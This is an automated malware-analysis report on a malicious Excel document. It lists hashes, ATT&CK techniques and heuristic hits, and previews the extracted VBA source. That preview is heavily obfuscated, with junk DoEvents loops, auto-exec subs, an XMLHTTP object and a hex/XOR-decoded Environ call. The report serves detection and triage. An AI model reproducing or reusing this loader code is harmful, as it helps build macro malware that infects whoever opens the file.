Office (OLE) malware analysis — malicious · 1e0f0179fd559c96

MALICIOUS

Office (OLE)

205.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-04

MD5: b5153a417ab4e4a2017a08909c771dfd SHA-1: 27aaf8986e2a3debdae2a2c9e1cf43fec80c96d4 SHA-256: 1e0f0179fd559c96b5aa9b135a32a6527bdf81694f8b27599e5fb6d3c660ad94

194 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The file is an Excel document containing heavily obfuscated VBA macros, including an Auto_Open subroutine. The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates the macro uses CreateObject and Shell/exec functions to likely download and execute a second-stage payload. The VBA code itself is heavily obfuscated, making precise reconstruction of the payload difficult, but the intent is clear.

Heuristics 9

VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

buhIGVdfbhiFGI45f.Open Environ(XORI(Hextostring("10072609"), Hextostring("44426B59736A61"))) & XORI(Hextostring("252426013D3C3D123523271E570D1031"), Hextostring("79686854"))

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	195718 bytes
SHA-256: `a81edb9194cbe3f36033f90172860e817e23c5782efd0abd4e68b9def5e27843`
Detection ClamAV: No threats found Obfuscation or payload: likely 250 of 348 identifiers look randomly generated (e.g. 'C62494F68704C62494F681E2E18213E0D704C624') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ЭтаКнига" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub Auto_Open() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim FtESSYaZ, OyDVyQvE, TuCpnGXR As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ImLCJSRP As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For ImLCJSRP = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim hvnSoaUd As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи hvnSoaUd = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While hvnSoaUd < 77 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: hvnSoaUd = hvnSoaUd + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next ImLCJSRP 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dKFPeeZn As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dKFPeeZn = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While dKFPeeZn < 61 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: dKFPeeZn = dKFPeeZn + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи FtESSYaZ = " NJJVQP " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim JlvbzEOU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For JlvbzEOU = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ppqXPtwW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ppqXPtwW = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ppqXPtwW < 36 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ppqXPtwW = ppqXPtwW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next JlvbzEOU 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SXXrwEfU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SXXrwEfU = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SXXrwEfU < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SXXrwEfU = SXXrwEfU + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи OyDVyQvE = LTrim(FtESSYaZ) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFyXPFbC As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For TFyXPFbC = 0 To 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim VYSehlAX As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи VYSehlAX = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While VYSehlAX < 48 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: VYSehlAX = VYSehlAX + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next TFyXPFbC 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lpUmaXAS As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lpUmaXAS = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lpUmaXAS < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lpUmaXAS = lpUmaXAS + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TuCpnGXR = RTrim(OyDVyQvE) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim OjoPZPsu As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For OjoPZPsu = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim xDUmeHBr As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи xDUmeHBr = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While xDUmeHBr < 89 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: xDUmeHBr = xDUmeHBr + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next OjoPZPsu 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ySSzluwT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ySSzluwT = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ySSzluwT < 59 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ySSzluwT = ySSzluwT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи GSAWSLAQYNT 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub AutoOpen() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dEhAoyLk, KvCCxAPp, QGFUdIND As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim aglNijuq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For aglNijuq = 0 To 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim eehDCuVh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи eehDCuVh = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While eehDCuVh < 53 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: eehDCuVh = eehDCuVh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next aglNijuq 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim jcxqCydG As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи jcxqCydG = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While jcxqCydG < 77 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: jcxqCydG = jcxqCydG + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dEhAoyLk = " WTVFNG " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim XKGsGwFx As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For XKGsGwFx = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim RJSNcGlH As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи RJSNcGlH = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While RJSNcGlH < 48 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: RJSNcGlH = RJSNcGlH + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next XKGsGwFx 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SNbzTUXW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SNbzTUXW = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SNbzTUXW < 51 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SNbzTUXW = SNbzTUXW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи KvCCxAPp = LTrim(dEhAoyLk) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim wKfkMWua As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For wKfkMWua = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SBYnETTq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SBYnETTq = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SBYnETTq < 22 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SBYnETTq = SBYnETTq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next wKfkMWua 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim LilZQcig As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи LilZQcig = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While LilZQcig < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: LilZQcig = LilZQcig + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи QGFUdIND = RTrim(KvCCxAPp) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim EaNlzDOt As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For EaNlzDOt = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFzDdlVg As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TFzDdlVg = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While TFzDdlVg < 11 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: TFzDdlVg = TFzDdlVg + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next EaNlzDOt 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim vAYvJveI As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи vAYvJveI = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While vAYvJveI < 87 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: vAYvJveI = vAYvJveI + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Auto_Open 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП 